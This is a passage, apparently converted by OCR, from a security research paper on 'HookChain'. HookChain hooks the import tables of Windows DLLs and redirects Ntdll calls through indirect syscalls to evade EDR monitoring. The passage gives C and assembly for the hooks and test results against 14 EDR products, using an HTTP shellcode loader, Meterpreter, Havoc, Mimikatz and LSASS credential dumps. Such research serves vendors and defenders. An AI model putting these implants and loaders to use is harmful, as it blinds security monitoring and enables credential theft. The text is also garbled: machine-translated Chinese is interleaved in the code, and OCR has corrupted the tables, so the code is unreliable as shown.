Once the previous step is completed, and having the array filled with the data of the native \(\mathrm{Nt} / \mathrm{Zw}\) functions, it is possible to move on to the next phase, which is the phase of modifying the IAT of all loaded DLLs.

However, if we carry out the procedure at this moment and subsequently another dynamic library is loaded and this new library contains in its IAT a reference to Ntdll, we would have to execute the process of manipulating the IAT of this DLL again. To avoid this reprocessing, it is recommended to load the necessary libraries before executing the IAT hook.

\subsection*{4.4.1. Pre-loading of DLLs}

For example, if we are creating an artifact using HookChain and after the implantation of HookChain we perform the injection and execution of a Portable Executable (PE) according to the technique created byStephen Fewer , ReflectiveDLLInjection [14], we need to perform the IAT Hook for these new DLLs that may have been loaded by ReflectiveDLLInjection. To avoid this process, it is recommended to map which DLLs the PE uses as a reference,
and which of these make a direct call to Ntdll and to load and IAT Hook these DLLs beforehand.

Below is the code snippet responsible for filling the array and IAT Hook of the kernel32 and kernelbase DLLs.

BOOL UnhookAll(In HANDLE hProcess, In LPCSTR imageName, In BOOLEAN force);
BOOL UnhookAll(In HANDLE hProcess, In LPCSTR imageName, In BOOLEAN force);

BOOL InitApi (VOID) BOOL InitApi(VOID)
{
if (!FillSyscallTable()) return FALSE;
如果 (!FillSyscallTable()) 返回 FALSE;

UnhookAll((HANDLE)-1, "kernel32", FALSE);
UnhookAll((HANDLE)-1, "kernel32",FALSE);

UnhookAll((HANDLE)-1, "kernelbase", FALSE);
UnhookAll((HANDLE)-1, "kernelbase", FALSE);

return TRUE; 返回 TRUE;
}
In this scenario of pre-loading that we are elucidating here, it would suffice to add the desired DLLs as shown in the example below:

BOOL UnhookAll(In HANDLE hProcess, In LPCSTR imageName, In BOOLEAN force);
BOOL UnhookAll(In HANDLE hProcess, In LPCSTR imageName, In BOOLEAN force);

BOOL InitApi(VOID)
{
if (!FillSyscallTable()) return FALSE;
如果 (!FillSyscallTable()) 返回 FALSE;

UnhookAll((HANDLE)-1, "kernel32", FALSE);
UnhookAll((HANDLE)-1, "kernel32",FALSE);

UnhookAll((HANDLE)-1, "kernelbase", FALSE);
UnhookAll((HANDLE)-1, "kernelbase", FALSE);

UnhookAll((HANDLE)-1, "bcryptPrimitives", TRUE);
UnhookAll((HANDLE)-1, "bcryptPrimitives",TRUE);

UnhookAll ((HANDLE)-1, "ws2_32", TRUE);
UnhookAll ((HANDLE)-1, "ws2_32", TRUE);

return TRUE; 返回 TRUE;
}

\subsection*{4.4.2. IAT Hook}

The IAT hook procedure follows the same way as detailed in section 2.3.2 of this article. In general, HookChain will perform the following procedure for the requested DLLs through the UnhookAll function (demonstrated above).
1. Listing (in the IAT) of all DLL dependencies.
2. Checking the references to Ntdll.
3. Verification if the referenced function is in the array SyscallList.Entries, if so, change the IAT address to the address of an interception function created by HookChain, whose name is directly related to the item index in the array SyscallList.Entries.

\subsection*{4.4.3. Execution Flow}

After completing the previous steps, all the necessary procedures for the HookChain implantation are finalized, so that from this moment on all calls made to the Windows subsystems will be free from interceptions and monitoring by the EDR at the level of Ntdll.dII.

In this way, let's understand more deeply the execution flow of the application after the completion of the HookChain implants.

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-34.jpg?height=906&width=1711&top_left_y=655&top_left_x=184)
Figure 16: Execution Flow After HookChain Implant
Figure 16 demonstrates in detail the execution flow of a function call after the HookChain implant, as follows the description below:
1. As an example, the application wants to create a new process through the CreateProcessW function available in the Kernel32.dll API/subsystem.
2. Since this specific function is implemented in Kernelbase.dll, kernel32.dll just redirects the execution flow to kernelbase.
3. Within the CreateProcessW code in the kernelbase DLL, after some parameter checks, it will reach the point of executing the ZwCreateUserProcess function belonging to Ntdll.dII.
4. Thus, the CreateProcessW code will search in the kernelbase IAT, where originally it would have the address of the ZwCreateUserProcess function in Ntdll.dII, but after the HookChain implant, this position in the IAT will contain the address of the function implanted by HookChain.
5. After obtaining the address of the deployed function, the CreateProcessW code will make a CALL to this address instead of the address of ZwCreateUserProcess in NtdII.dII, thus going to the function deployed by HookChain.
6. Each HookChain interception function was created with a specific name/index, in our example scenario the function name is Fnc0002, so the corresponding index in the SyscallList.Entries array will be 0x0002, in this way the HookChain code will search in the table (array SyscallList.Entries[0x0002]) for the information previously stored such as the SSN and the address of the syscall instruction in NtdII.
7. With all the necessary information in hand, the HookChain code reproduces what would be performed by the function in Ntdll (mov r10, rcx; mov eax, SSN) and subsequently forwards the execution flow to the Ntdll address that contains the syscall instruction.
8. At this point in our flow at the top of the stack, the return address will be contained, which will be the address of the next instruction inserted into the stack at the moment the CreateProcessW from kernelbase performed the CALL. Then, the Ntdll executes the syscall instruction. And when there is a return from the kernel, the flow will be directed to the respective return address within the CreateProcessW.

ATTENTION: HookChain does not require the use of the CreateProcessW function, or any similar forking mechanism, to operate. The diagram provided simply illustrates the function call process after HookChain implants.

\subsection*{4.5. Call Stack Telemetry}

One of the advantages of using HookChain is the fact that it does not alter the call stack (in point of EDR view) of the calls, even though this is not its main purpose. In this way, this test aims at the visualization and understanding of the call stack of functions before and after the HookChain implants. Therefore, the test code performs 3 actions:
1. Starts the Notepad.exe process using the CreateProcessW API. This procedure is carried out before the HookChain implants.
2. All HookChain implants are performed.
3. Starts a new Notepad.exe process using the CreateProcessW API. As at this point the HookChain has already performed all its implants and bypasses, the original ZwCreateUserProcess function from Ntdll.dll will not be executed.

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-36.jpg?height=1483&width=1174&top_left_y=149&top_left_x=184)
Figure 17: Code used for this test

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-37.jpg?height=1086&width=1757&top_left_y=151&top_left_x=184)
Figure 18: Monitoring the execution
\begin{tabular}{|c|c|c|c|c|c|c|}
\hline \multicolumn{5}{|l|}{3 Event Properties } & \multirow[t]{2}{*}{\(\square\)} & \multirow[t]{2}{*}{\(\times\)} \\
\hline 3 E & ent \{ \(\{\) 岛 \(P\) & rocess \(\quad \&\) Stack & & & & \\
\hline Frame & Module & Location & Address & Path & & \\
\hline K 0 & ntoskml.exe & PspCallProcess NotityRoutines + Ox213 & Oxffff8060ea6455t & C:IWINDOWS syystem32 intoskml.exe & & \\
\hline K 1 & ntoskml.exe & Psplnsert Thread \(+0 \times 68\) e & Oxffff 8060ea8c9ea & C:\WINDOWS syystem 32 vitoskml.exe & & \\
\hline K 2 & ntoskml.exe & NtCreate UserProcess + OxdeO & Oxffff8060e9edda0 & C:IWINDOWS syystem32vitoskml.exe & & \\
\hline K 3 & ntoskml.exe & KSystemServiceCopyEnd + Ox25 & Oxfffff8060e811575 & C:\WINDOWS \ system32 vitoskml.exe & & \\
\hline U 4 & ntdll.dll & ZwCreate UserProcess + Q*14 & Oxifeb258e8f4 & C:\Windows \System 32 vitdill.dll & & \\
\hline U 5 & KemelBase.dll & Create ProcessintemalW \(+0 \times 22 e 2\) & 0x 7 feafc2c5f2 & C:\Windows\System32\KemelBase.dll & & \\
\hline U6 & KemelBase.dll & CreatePPocess \(W+0 \times 66\) & 0x7feafc29666 & C:\Windows\System32\KemelBase.dll & & \\
\hline U 7 & kemel32.dll & CreateProcessWStub + Ox54 & \(0 \times 7\) feb 168 cec 4 & C:Windows\System32kemel32.dll & & \\
\hline U8 & HookChain.exe & CreatePProc + Oxi0. E:\Projects\Personal\HookChain\HookChain\main.c(21) & \(0 \times 7\) if7be5d620 & E:\Projects\Personal\HookChain \(\times 64\) \Debug \HookChain.exe & & \\
\hline U 9 & HookChain.exe & wmain + Ox78. E:\Projects\Personal\HookChain\HookChain\main.c(67) & \(0 \times\) iff7be 5 d 6438 & E:\Projects\Personal\HookChain \(\times 64\) \Debug \HookChain.exe & & \\
\hline U 10 & HookChain.exe & ![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-37.jpg?height=30\&width=661\&top_left_y=1753\&top_left_x=406) & \(0 \times 7776 e 5 \mathrm{db} 709\) & E:\Projects\Personal\HookChain \(\times 64\) \Debug \HookChain.exe & & \\
\hline U 11 & HookChain.exe & _scit_common_main_seh + Ox 12e, D: \(: a \backslash\) _work\1/s\srch\ctools \crt\vcstartup \sre \statup & \(0 \times 7\) fibe 5 db 65 e & E:\Projects\Personal\HookChain \(\times 64\) \Debug \HookChain.exe & & \\
\hline U 12 & HookChain.exe & ![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-37.jpg?height=30\&width=724\&top_left_y=1801\&top_left_x=406) & \(0 \times\) \仿7be5db51e & E:\Projects\Personal\HookChain \(\times 64\) \Debug \HookChain.exe & & \\
\hline U 13 & HookChain.exe & ![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-37.jpg?height=26\&width=688\&top_left_y=1826\&top_left_x=406) & \(0 \times\) \ifbe5db84e & E:\Projects\Personal\HookChain \(\times 64\) \Debug \HookChain.exe & & \\
\hline U 14 & kemel32.dll & Base Threadlinithunk \(+0 \times 14\) & 0xतfeb 1687344 & C:\Windows \System32kemel 32.dll & & \\
\hline U 15 & ntdll.dIll & RitUserThreadStart \(+0 \times 21\) & 0xZfeb25426b1 & C.\Windows\System32vivalll.dll & & \\
\hline
\end{tabular}

Figure 19: Stack trace of the CreateProcessW call before the implants

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-37.jpg?height=498&width=1395&top_left_y=2058&top_left_x=339)
Figure 20: SyscallList.Entries array populated and implants performed

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-38.jpg?height=1047&width=1743&top_left_y=139&top_left_x=179)
Figure 21: Execution of the CreateProcessW call after the implants

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-38.jpg?height=584&width=1746&top_left_y=1287&top_left_x=178)
Figure 22: Stack trace of the CreateProcessW call after the implants
It can be observed in Figure 21 that the application (due to the presence of debug code) displayed on screen the moment when the interception function was executed as well as the index in the array, SSN, etc.

When comparing Figure 19 and Figure 22, it can be observed that one of our objectives was \(100 \%\) achieved, in such a way that the diversion of the application flow and the consequent presence of the hook created by HookChain did not alter the Stack Trace, thus being able to go unnoticed by the EDR telemetry.

Result 3 : Stack trace telemetry unchanged to the point where the flow diversion (Hook) can go unnoticed by an EDR check in kernel-land.

\footnotetext{
0x00007FF7BE63DD30 = \&SyscallList
Index, Name, Ssn, Ntdll.dll Address
e[0] ZwAllocateVirtualMemory 24 0x00007FFEB258D2DO
e[1] ZwCreateSection 74 0x00007FFEB258D910
e[2] ZwCreateUserProcess 201 0x00007FFEB258E8EO
e[3] ZwDelayExecution 52 0x00007FFEB258D650
e[4] ZwMapViewOfSection 40 0x00007FFEB258D4D0
e[5] ZwOpenProcess 38 0x00007FFEB258D490
e[6] ZwProtectVirtualMemory 80 0x00007FFEB258D9D0
e[7] ZwQueryInformationProcess 25 0x00007FFEB258D2F0
e[8] ZwQuerySystemTime 90 0x00007FFEB258DB10
e[9] ZwReadVirtualMemory 63 0x00007FFEB258D7B0
e[10] ZwSetInformationThread 13 0x00007FFEB258D170
e[11] ZwWriteVirtualMemory 58 0x00007FFEB258D710
}

In the text above, extracted from the application console at the time of execution, one can see the information of the ZwCreateUserProcess function.

0:004> lm
start end 开始 结束
00007ff7be5c0000 00007ff7be64e000
00007ffe48080000 00007ffe482a1000
00007ffe9da80000 00007ffe9daae000
00007ffeafba0000 00007ffeafbc7000
00007ffeafbd0000 00007ffeafec6000
00007ffeb1680000 00007ffeb1720000
00007ffeb1b70000 00007ffeb1c2d000
module name 模块名
HookChain 钩链
ucrtbased 基于ucrt
VCRUNTIME140D
bcrypt
KERNELBASE
sechost
KERNEL32
RPCRT4
ntdll
0:004> !dh 00007ffe`afbd0000 -f
File Type: DLL 文件类型DLL
...
2A1560 [ EF64] address [size] of Export Directory
2A1560 [ EF64] 导出目录的地址 [大小

2B04C4 [ 64] address [size] of Import Directory
2B04C4 [ 64] 输入目录的地址 [大小

2CC000 [ 548] address [size] of Resource Directory
2CC000 [ 548] 资源目录的地址 [大小

2BB000 [ FA38] address [size] of Exception Directory
2BB000 [ FA38] 异常目录的地址 [大小

2EF800 [ 9018] address [size] of Security Directory
2EF800 [ 9018] 安全目录的地址 [大小

2CD000 [ 28B1C] address [size] of Base Relocation Directory
2CD000 [ 28B1C] 基准重定位目录的地址 [大小

216A10 [ 70] address [size] of Debug Directory
216A10 [ 70] 调试目录地址 [大小

0] address [size] of Description Directory
0] 描述目录的地址 [大小

0] address [size] of Special Directory
0] 特殊目录的地址 [大小

1E3C20 [ 28] address [size] of Thread Storage Directory
1E3C20 [ 28] 线程存储目录的地址 [大小

193E80 [ 118] address [size] of Load Configuration Directory
193E80 [ 118] 加载配置目录的地址[大小

0 [ 0] address [size] of Bound Import Directory
0 [ 0] 绑定导入目录的地址 [大小

1E48B8 [ 1688] address [size] of Import Address Table Directory
1E48B8 [ 1688] 导入地址表目录的地址 [大小

29EDDO [ 4C0] address [size] of Delay Import Directory
29EDDO [ 4C0] 延迟导入目录的地址 [大小

0 [ 0] address [size] of COR2O Header Directory
0 [ 0] COR2O 标头目录的地址[大小

0 [ 0] address [size] of Reserved Directory
0 [ 0] 保留目录的地址 [大小

\begin{abstract}
In the passage above, we can observe the listing of the application modules in windbg, as well as the address of the Kernelbase subsystem and its respective IAT.
\end{abstract}

\footnotetext{
0:004> dps 00007ffe`afbd0000 + 1E48B8 00007ffe`afbd0000 + 1E48B8 + 1688 \(00007 f f e ` a f d b 48 b 8 \quad 00007 f f e ` b 2566\) e70 ntdll!ApiSetQueryApiSetPresence
・.
\(00007 f f e ` a f d b 4 e 2000007 f f e ` b 258 d 910\) ntdll!NtCreateSection
}```
00007ffe`afdb4e28
00007ffe`afdb4e30
00007ffe`afdb4e38

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-40.jpg?height=35&width=318&top_left_y=271&top_left_x=184)

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-40.jpg?height=33&width=318&top_left_y=309&top_left_x=184)
00007ffe`afdb55b8
00007ffe`afdb5760
00007ffe`afdb5788

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-40.jpg?height=30&width=318&top_left_y=476&top_left_x=184)
00007ffe`afdb5798
00007ffe`afdb57a0
00007ffe`afdb59b0
00007ffe`afdb5a08
00007ffe`afdb5cc0
ntdll!RtlOpenCurrentUser ntdll!NtMapViewOfSection ntdll!NtQueryDefaultLocale ntdll!NtQueryInformationProcess ntdll!RtlCaptureContext ntdll!NtSetInformationThread ntdll!NtReadVirtualMemory ntdll!NtProtectVirtualMemory ntdll!NtWriteVirtualMemory ntdll!NtAllocateVirtualMemory 00007 ffeb258de80 ntdll!NtAllocateVirtualMemoryEx \(00007 f f e b 258 d 650) ntdll!NtDelayExecution ntdll!NtOpenProcess ntdll!NtCreateUserProcess
ntdll!RtlOpenCurrentUser ntdll!NtMapViewOfSection ntdll!NtQueryDefaultLocale ntdll!NtQueryInformationProcess ntdll!RtlCaptureContext ntdll!NtSetInformationThread ntdll!NtReadVirtualMemory ntdll!NtProtectVirtualMemory ntdll!NtWriteVirtualMemory ntdll!NtAllocateVirtualMemory 00007 ffeb258de80 ntdll!NtAllocateVirtualMemoryEx (00007 f f e b 258 d 650) ntdll!NtDelayExecution ntdll!NtOpenProcess ntdll!
In the excerpt above, the IAT of Kernelbase is observed before the HookChain implants, and in the excerpt below, the IAT after the HookChain implants can be seen, thus evidencing the effected alteration.
在上面的摘录中,可以看到植入 HookChain 前 Kernelbase 的 IAT,而在下面的摘录中,可以看到植入 HookChain 后的 IAT,从而证明了改变的效果。
0:004> dps 00007ffe`afbd0000 + 1E48B8 00007ffe`afbd0000 + 1E48B8 + 1688
00007ffe`afdb48b8 00007ffe`b2566e70 ntdll!ApiSetQueryApiSetPresence
...
00007ffe`afdb4e20 00007ff7`be5d7c30 HookChain!Fnc0001
00007ffe`afdb4e28 00007ffe`b2506790 ntdll!RtlOpenCurrentUser
00007ffe`afdb4e30 00007ff7`be5d7c6c HookChain!Fnc0004

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-40.jpg?height=35&width=318&top_left_y=1233&top_left_x=184)

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-40.jpg?height=29&width=318&top_left_y=1276&top_left_x=184)

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-40.jpg?height=33&width=318&top_left_y=1314&top_left_x=184)

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-40.jpg?height=38&width=318&top_left_y=1352&top_left_x=184)

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-40.jpg?height=38&width=318&top_left_y=1392&top_left_x=184)

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-40.jpg?height=29&width=315&top_left_y=1439&top_left_x=185)

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-40.jpg?height=29&width=318&top_left_y=1479&top_left_x=184)

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-40.jpg?height=35&width=312&top_left_y=1513&top_left_x=187)
00007ffe`afdb59b0

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-40.jpg?height=38&width=315&top_left_y=1597&top_left_x=185)

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-40.jpg?height=30&width=318&top_left_y=1641&top_left_x=184)
    00007ffe`b258d270 ntdll!NtQueryDefaultLocale
    00007ff7`be5d7ca8 HookChain!Fnc0007
    00007ffe`b2591130 ntdll!RtlCaptureContext
    00007ff7`be5d7ce4 HookChain!Fnc000A
    00007ff7`be5d7cd0 HookChain! Fnc0009
    00007ff7`be5d7c94 HookChain!Fnc0006
    00007ffe`b258d710 ntdll!NtWriteVirtualMemory
    00007ff7`be5d7c1c HookChain!Fnc0000
    00007ff7`be5d7c58 HookChain!Fnc0003
    00007ff7`be5d7c80 HookChain!Fnc0005
    00007ff7`be5d7c44 HookChain!Fnc0002
In the assembly code snippet below, we can observe the functions to which the calls are forwarded. It can be observed that each of them has an identifier in its name, and in its code, this identifier is used as a reference of the SyscallList.Entries array to obtain the previously filled information.
在下面的汇编代码片段中,我们可以看到调用被转发的函数。可以看到,每个函数的名称中都有一个标识符,在代码中,该标识符被用作 SyscallList.Entries 数组的引用,以获取先前填写的信息。
Fnc0000 PROC
mov rax, SyscallExec
push rax
mov rax, 0000h
ret
nop
Fnc0000 ENDP
Fnc0001 PROC
mov rax, SyscallExec
push rax
mov rax, 0001h
ret 重新
nop 没有
Fnc0001 ENDP
Fnc0002 PROC
mov rax, SyscallExec 移动 rax,SyscallExec
push rax 推动 rax
mov rax, 0002h mov rax,0002h
ret 重新
nop 没有
Fnc0002 ENDP
Below is the assembly code of the SyscallExec function, which is responsible for using the indexer of the functions that will receive the flow of the intercepted execution, searching in the SyscallList. Entries array for the respective information, and directing the application flow to the address of the Syscall instruction within Ntdll.dII.

SyscallExec PROC
sub rsp, 08h ; Address to place syscall addr and use with ret
sub rsp, 08h ; 用于存放系统调用地址并与 ret 一起使用的地址

push r12 按 r12
push r9 推 r9
push r8 按 r8
push rdx 推动 rdx
push rcx 推送 rcx
push rbp 推送 rbp
mov rbp, rsp
mov r12, rdx 移动 r12、rdx
mov rdx, qListEntrySize 移动 rdx、qListEntrySize
mul rdx
mov rdx, r12 移动 rdx、r12
mov r12, qTableAddr 移动 r12、qTableAddr
lea rax, [r12 + rax]
[R12+REX]蕾雅-拉克斯

mov r12, [rax + 10h]
MOV R12,[RAX + 10H]

mov rax, [rax]
mov [rbp + 30h], r12 ; 0x30=6 * 8 = 48
mov [rbp + 30h],r12 ; 0x30=6 * 8 = 48

mov rsp, rbp
pop rbp
pop rcx
pop rdx
pop r8 r8
pop r9 r9
pop r12 r12
mov r10, rcx 移动 r10、rcx
ret ; jmp to the address saved at stack
ret ; 跳转到栈中保存的地址

SyscallExec ENDP

\section*{5. HOOKCHAIN - TESTES}

\subsection*{5.1. Metodologia de testes}

Unlike the previous enumeration described in item 3 of this article, this testing phase was entirely conducted by me in a controlled environment.

For the tests, 14 EDR products were selected, 9 of which are included in Gartner's Magic Quadrant as of December 31, 2023 [15].

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-42.jpg?height=1055&width=1032&top_left_y=643&top_left_x=518)
Figure 23: Gartner Magic Quadrant for Endpoint Protection Platforms as of December 31, 2023 [15].

The products present in Gartner's Magic Quadrant that were tested are highlighted in green in the image above, while the products marked in gray could not be tested.

Additionally, 4 other products that are not included in Gartner's Quadrant were tested, namely: Acronis, Cylance, Elastic, and MalwareBytes.

For these tests, two versions of HookChain were prepared as described below:

\subsection*{5.1.1. Remote Process Injection}

This first version aims to perform the injection of a simple shellcode into a remote process using a widely known technique of creating a thread in a remote process. The injected shellcode is created at runtime to execute the MessageBox API call from User32.dII.

This executable follows the following flow:
1. Implementation of the HookChain implants
2. Creation at runtime of a code (in Assembly) to execute the MessageBox
3. Opening a handle to the process where the code will be injected
4. Creation of a memory area in the remote process
5. Injection of the assembly code into the remote process
6. Creation and execution of a remote thread pointing to the loaded assembly

\subsection*{5.1.2. Loading and executing a PE}

For the second version of HookChain, a variant was prepared to download a shellcode via HTTP and execute it within the same process. This strategy allowed us to use a single HookChain executable for various payloads, as simply replacing the shellcode on the HTTP server would result in it being injected and executed in our process.

This executable follows the following flow:
1. Implementation of the HookChain implants
2. HTTP download of an obfuscated PE
3. Decoding and injecting the PE into the local process
4. Execution of the loaded PE in memory, in other words, reflectively.

Due to the flexibility provided by this strategy, various payloads with different levels of access could be tested, as shown in the table below:
\begin{tabular}{|c|c|c|}
\hline PAYLOAD & NÍVEL DE ACESSO & OBJETIVO \\
\hline Metasploit Meterpreter & Non-privileged user & \begin{tabular}{l} 
Check the ability to analyze and identify a highly \\
known payload that is typically blocked by EDRs.
\end{tabular} \\
\hline Havoc & Non-privileged user & \begin{tabular}{l} 
Check the ability to analyze and identify a payload \\
and C2 (Command \& Control) beacon.
\end{tabular} \\
\hline \begin{tabular}{l} 
Metasploit Meterpreter \\
+ Módulo Kiwi
\end{tabular} & Administrative user & \begin{tabular}{l} 
Check the ability to analyze and identify a highly \\
known payload that is typically blocked by EDRs \\
for credential dumping.
\end{tabular} \\
\hline Mimikatz & Administrative user & \begin{tabular}{l} 
Check the ability to analyze and identify a highly \\
known payload that is typically blocked by EDRs \\
for credential dumping.
\end{tabular} \\
\hline
\end{tabular}

Procdump
Custom LSASS Dump ( \(100 \%\) assembly) Check the ability to identify credential dumping. Check the ability to identify credential dumping.

As can be observed in the table above, this strategy allows for an almost infinite variety of possibilities.

Note: It is important to emphasize that the goal of the HookChain technique is purely and simply to bypass the monitoring points of the defense layers at the user level (ring 3). As such, it can be used at any access level the user has (nonadministrative, administrative, or even as SYSTEM).

The tests focused on obtaining credentials (credential dump) from the LSASS memory were conducted to illustrate the potential of the HookChain technique when combined with other new and/or known techniques. This reinforces the fact that HookChain is a foundational technique, enabling the execution of other codes and/or techniques following its bypass implants.

\subsection*{5.2. Result}

The table below presents the results.
\begin{tabular}{|c|c|c|c|c|c|c|c|}
\hline \multirow{3}{*}{ PRODUCT } & \multicolumn{7}{|l|}{ EXECUTED CODE } \\
\hline & \multirow{2}{*}{\begin{tabular}{l} 
Remote Process \\
Injection
\end{tabular}} & \multicolumn{6}{|l|}{ Download, local PE injection and executing } \\
\hline & & Meterpreter & Havoc & \begin{tabular}{l} 
Meterpreter + \\
Kiwi
\end{tabular} & Mimikatz & Procdump & LSASS Dump \\
\hline Acronis & 4 & \(\nabla\) & v & v & v & v & v \\
\hline BitDefender & v & e & \(\nabla\) & - & 4 & - & 4 \\
\hline Cortex & \(\theta\) & \(\theta\) & v & \(\theta\) & \(\ominus\) & \(\ominus\) & \(\nabla\) \\
\hline CrowdStrike Falcon & \(\nabla\) & v & v & - & 4 & 4 & v \\
\hline Cylance & Ө & 4 & Ө & e & v & - & Ө \\
\hline Windows Defender & \(\nabla\) & 4 & \(\nabla\) & - & - & - & v \\
\hline Windows Defender XDR & v & v & v & - & ![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-45.jpg?height=47\&width=41\&top_left_y=1014\&top_left_x=2013) & ![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-45.jpg?height=47\&width=42\&top_left_y=1014\&top_left_x=2305) & \(\nabla\) \\
\hline Elastic & v & - & Ө & e & - & - & Ө \\
\hline ESET & v & 4 & v & \(\nabla\) & \(\nabla\) & Ө & \(\nabla\) \\
\hline MalwareBytes & v & v & v & v & v & v & v \\
\hline SentinelOne & 4 & v & 4 & \(\nabla\) & v & 4 & 1 \\
\hline Sophos & \(v\) & v & v & 4 & 4 & - & 4 \\
\hline Trellix & \(v\) & v & \(\nabla\) & \(\nabla\) & \(v\) & - & \(v\) \\
\hline Trend & \(\nabla\) & \(\nabla\) & v & \(\nabla\) & 0 & - & \(\nabla\) \\
\hline
\end{tabular}

Where:
\(\checkmark\) Executed without alerts and blocks.
4 Partially execution (no success) without alerts or Executed (successfully) with alerts.
Execution fail with block and alert

\subsection*{5.2.1. Non-privileged user}

In the general tests with low-privilege users (Remote Process Injection, Meterpreter and Havoc), the technique has \(71.43 \%\) effectiveness in bypassing monitoring and alerts. In additional 5 out of the 42 items tested has some type of failure during execution and/or an alert after execution, and 7 items had a total execution failure with complete process blocking.

Isolating these numbers by the effectiveness of the products, \(57.14 \%\) of products were effective in identifying and/or blocking the attempted attack.

During the tests with the Metasploit Open Source [16], some commands were blocked or triggered alerts after establishing a Metasploit session. This identification and blocking behavior is expected, as many of these commands execute other Windows processes, and since the new processes (even if they are child processes of HookChain) do not have the HookChain's bypass implants, the EDR will be able to monitor these behaviors and take appropriate mitigation actions.

However, when using the Havoc Framework [17], fewer blocks were observed, demonstrating that the identification and possible blocking are directly related to the actions performed and the framework used.

It is possible that using other products with more stealthy behavior, such as Metasploit Pro, Cobalt Strike, among others, would allow most of the actions to go unnoticed.

Result 4: Considering the isolated test points conducted with lowprivilege users, \(71.43 \%\) of the tests performed ( 30 out of 42 ) were successful without any identification or blocking. In other words, the HookChain were able to bypass security layer successfully.

Result 5: \(57.14 \%\) of the EDR solutions analyzed (8 out of 14) were able to identify or block the action performed.

\subsection*{5.2.2. Administrative user}

Unlike the tests with low-privilege users, in the tests with administrative permissions, where the goal was to obtain credentials stored in the LSASS process memory, the products demonstrated better effectiveness, managing to contain or alert in \(57.14 \%\) of the tested scenarios.

This procedure (LSASS Dump) was chosen precisely because it involves an extremely critical process within the operating system's architecture, and the extraction techniques are based on well-known procedures widely used by various malware and artifacts in penetration testing.

It was also observed during this test that when a new strategy was used, such as in the test where we used an LSASS dumper \(100 \%\) written in Assembly by me, the effectiveness of the products in defense and identification dropped to \(35.7 \%\).

Result 6: Considering the isolated test points conducted with administrative users, \(57.14 \%\) of the tests performed ( 32 out of 56 ) were mitigated, with or without an alert. Therefore, 24 out of the 56 tests were successful without any identification or blocking.

Result 7: Even when working with behavioral analysis, the EDR/XDR products were still unable to identify and mitigate custom and more sophisticated attacks, with the HookChain technique achieving a 64.29\% effectiveness in bypassing security in this scenario.

\section*{6. FINAL WORDS}

The HookChain technique proved to be effective in bypassing the security layers applied by EDR products, achieving up to \(71 \%\) effectiveness in bypassing during the tests, and even successfully bypassing 100\% of the detections in some evaluated products.

Since the topic of "defense bypass" is highly dynamic, with constant changes in both attack chains and techniques as well as in defense processes, the results presented here represent a snapshot of the time when the tests were conducted. Therefore, it is not possible to guarantee or predict the behavior of the solutions after the application of necessary patches by the vendors, nor can it account for improvements or failures in the specific configurations of each implemented environment.

Note: Some EDR/XDR vendors, such as SentineIOne and Trend, contact me after the completion of this study, requesting support for understanding and subsequently improving the detections and telemetry of their respective products.

\section*{7. ACKNOWLEDGMENTS}

I could not conclude this work without first thanking God for always being at the forefront of all my battles. I also want to thank my wife, my source of inspiration, a warrior woman who always walks beside me, supporting and encouraging me to be \(1 \%\) better every day.

To my children, I also extend my heartfelt thanks, for with every hug, with every gesture of affection, I feel like the most important man in the world, and I know how much hours dedicated to this work have been missed by all of us.

I cannot forget to mention my parents, who always went above and beyond to provide me the best education, love, and support to reach for my dreams, even if it meant moving far away.

Finally, I want to extend my gratitude to the entire Cyber Security community in Brazil and especially to those who entrusted their environments, licenses, and virtual machines for the tests to be conducted without you, this work would certainly be incomplete.

In a very special way, I would like to mention some names that have made and continue to make a difference in my life through their friendship, scoldings, support when I falter, and most importantly, their prayers. Thank you so much, Eder Luis, Marcus Prestes, Paulo Trindade, Aroldo Chociai, and Rafael Salema - you are all part of this story.

\section*{8. BIBLIOGRAPHY}
[1] M. Hand, Evading EDR: The Definitive Guide to Defeating Endpoint Detection Systems, San Francisco: No Stach Press, Inc, 2024.
[2] M. Russinovich, D. A. Solomon and A. Lonescu, Windows Internals, Sixth Edition, Part 1, Redmond, Washington: Microsoft Press, 2012.
[3] P. Yosifovich, A. Lonescu, E. M. Russinovich and A. D. Solomon, Windows Internals Seventh Edition - Part 1, Redmond: Microsoft Press, 2017.
[4] Microsoft, "Microsoft Learn," [Online]. Available:
https://learn.microsoft.com/en-us/cpp/build/x64-callingconvention?view=msvc-170. [Accessed 2103 2024].
[5] Microsoft, "PE Format," [Online]. Available: https://docs.microsoft.com/windows/win32/debug/pe-format. [Accessed 2103 2024].
[6] NtCore, "Explorer Suite," [Online]. Available:
https://ntcore.com/?page_id=388. [Accessed 2103 2024].
[7] R. Batra, "API Monitor," [Online]. Available:
http://www.rohitab.com/apimonitor. [Accessed 2103 2024].
